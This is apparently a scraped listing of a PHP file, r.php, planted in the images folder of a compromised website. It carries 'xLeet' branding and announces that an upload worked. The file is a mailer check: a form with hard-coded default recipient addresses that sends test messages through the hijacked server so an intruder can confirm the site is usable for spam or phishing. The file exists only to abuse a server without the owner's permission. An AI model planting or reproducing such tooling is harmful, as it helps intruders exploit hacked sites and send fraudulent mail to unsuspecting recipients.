Current Path : /home/bitrix/ext_www/mr.yacl.site/assets/images/ |
Current File : /home/bitrix/ext_www/mr.yacl.site/assets/images/r.php |
<?php // Enable error reporting for debugging purposes (remove in production) error_reporting(E_ALL); ini_set('display_errors', 1); // Initialize variables for default email values $defaultEmail1 = "soundgun@knu.ua"; $defaultEmail2 = "lmecheckit@outlook.com"; // Define a function to send an email with error handling function sendEmail($to, $subject, $message) { return mail($to, $subject, $message); } // Function to identify the email provider function getEmailProvider($email) { if (strpos($email, 'gmail.com') !== false) { return 'Gmail'; } elseif (strpos($email, 'outlook.com') !== false) { return 'Hotmail'; } else { return 'Other'; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>test file</title> <style> body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background-color: #e9ecef; margin: 0; padding: 0; } .container { width: 500px; /* Set a fixed width for the container */ padding: 20px; background: #ffffff; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); margin-left: 20px; /* Align to the left with some padding from the edge */ margin-top: 50px; /* Add space at the top */ } h1 { text-align: left; color: #007bff; margin-bottom: 20px; } .message { text-align: left; margin-bottom: 20px; font-size: 18px; color: #495057; } form { display: flex; flex-direction: column; } input[type="text"], input[type="submit"] { padding: 12px; margin: 10px 0; border-radius: 6px; border: 1px solid #ced4da; box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075); font-size: 16px; } input[type="submit"] { background-color: #007bff; color: #ffffff; cursor: pointer; border: none; } input[type="submit"]:hover { background-color: #0056b3; } .thank-you { font-size: 18px; color: #007bff; margin-top: 20px; text-align: left; } .result { margin-top: 20px; padding: 15px; border-radius: 6px; text-align: left; font-size: 16px; } .success { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; } .failure { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } .report-number { font-size: 18px; font-weight: bold; color: #007bff; /* Optional: a distinct color for prominence */ } </style> </head> <body> <center> <div class="container"> <h1>Thanks for using xLeet.</h1> <div class="message"> Upload is <b><span style="color: green">WORKING</span></b><br> Check Mailing ... </div> <!-- Create a form for users to input email addresses --> <form method="post"> <input type="text" name="email1" value="<?php echo htmlspecialchars($defaultEmail1); ?>" required placeholder="Enter first email"> <input type="text" name="email2" value="<?php echo htmlspecialchars($defaultEmail2); ?>" required placeholder="Enter second email"> <input type="submit" value="Send Test"> </form> <div class="thank-you"> Please make sure of your page , and if still not working , try another page </div> <?php // Check if the form has been submitted and all email fields are filled if (!empty($_POST['email1']) && !empty($_POST['email2'])) { $xx = mt_rand(); // Generate a random number // Send emails and handle errors $result = true; $errorEmails = []; $providers = []; if (!sendEmail($_POST['email1'], "Result Report Test - " . $xx, "WORKING !")) { $result = false; $errorEmails[] = $_POST['email1']; } else { $providers[] = getEmailProvider($_POST['email1']); } if (!sendEmail($_POST['email2'], "Result Report Test - " . $xx, "WORKING !")) { $result = false; $errorEmails[] = $_POST['email2']; } else { $providers[] = getEmailProvider($_POST['email2']); } // Remove duplicates and sort the providers $providers = array_unique($providers); sort($providers); // Create the provider string $providerString = implode(' ', $providers); // Display a message based on the result of email sending echo '<div class="result ' . ($result ? 'success' : 'failure') . '">'; if ($result) { echo "<b>Successfully sent a report to<br>" . $providerString . "<br>Test - <span class='report-number'>$xx</span></b>"; } else { echo "<b>Failed to send a report to [" . implode("], [", $errorEmails) . "]</b>"; } echo '</div>'; } ?> </div> </center> </body> </html>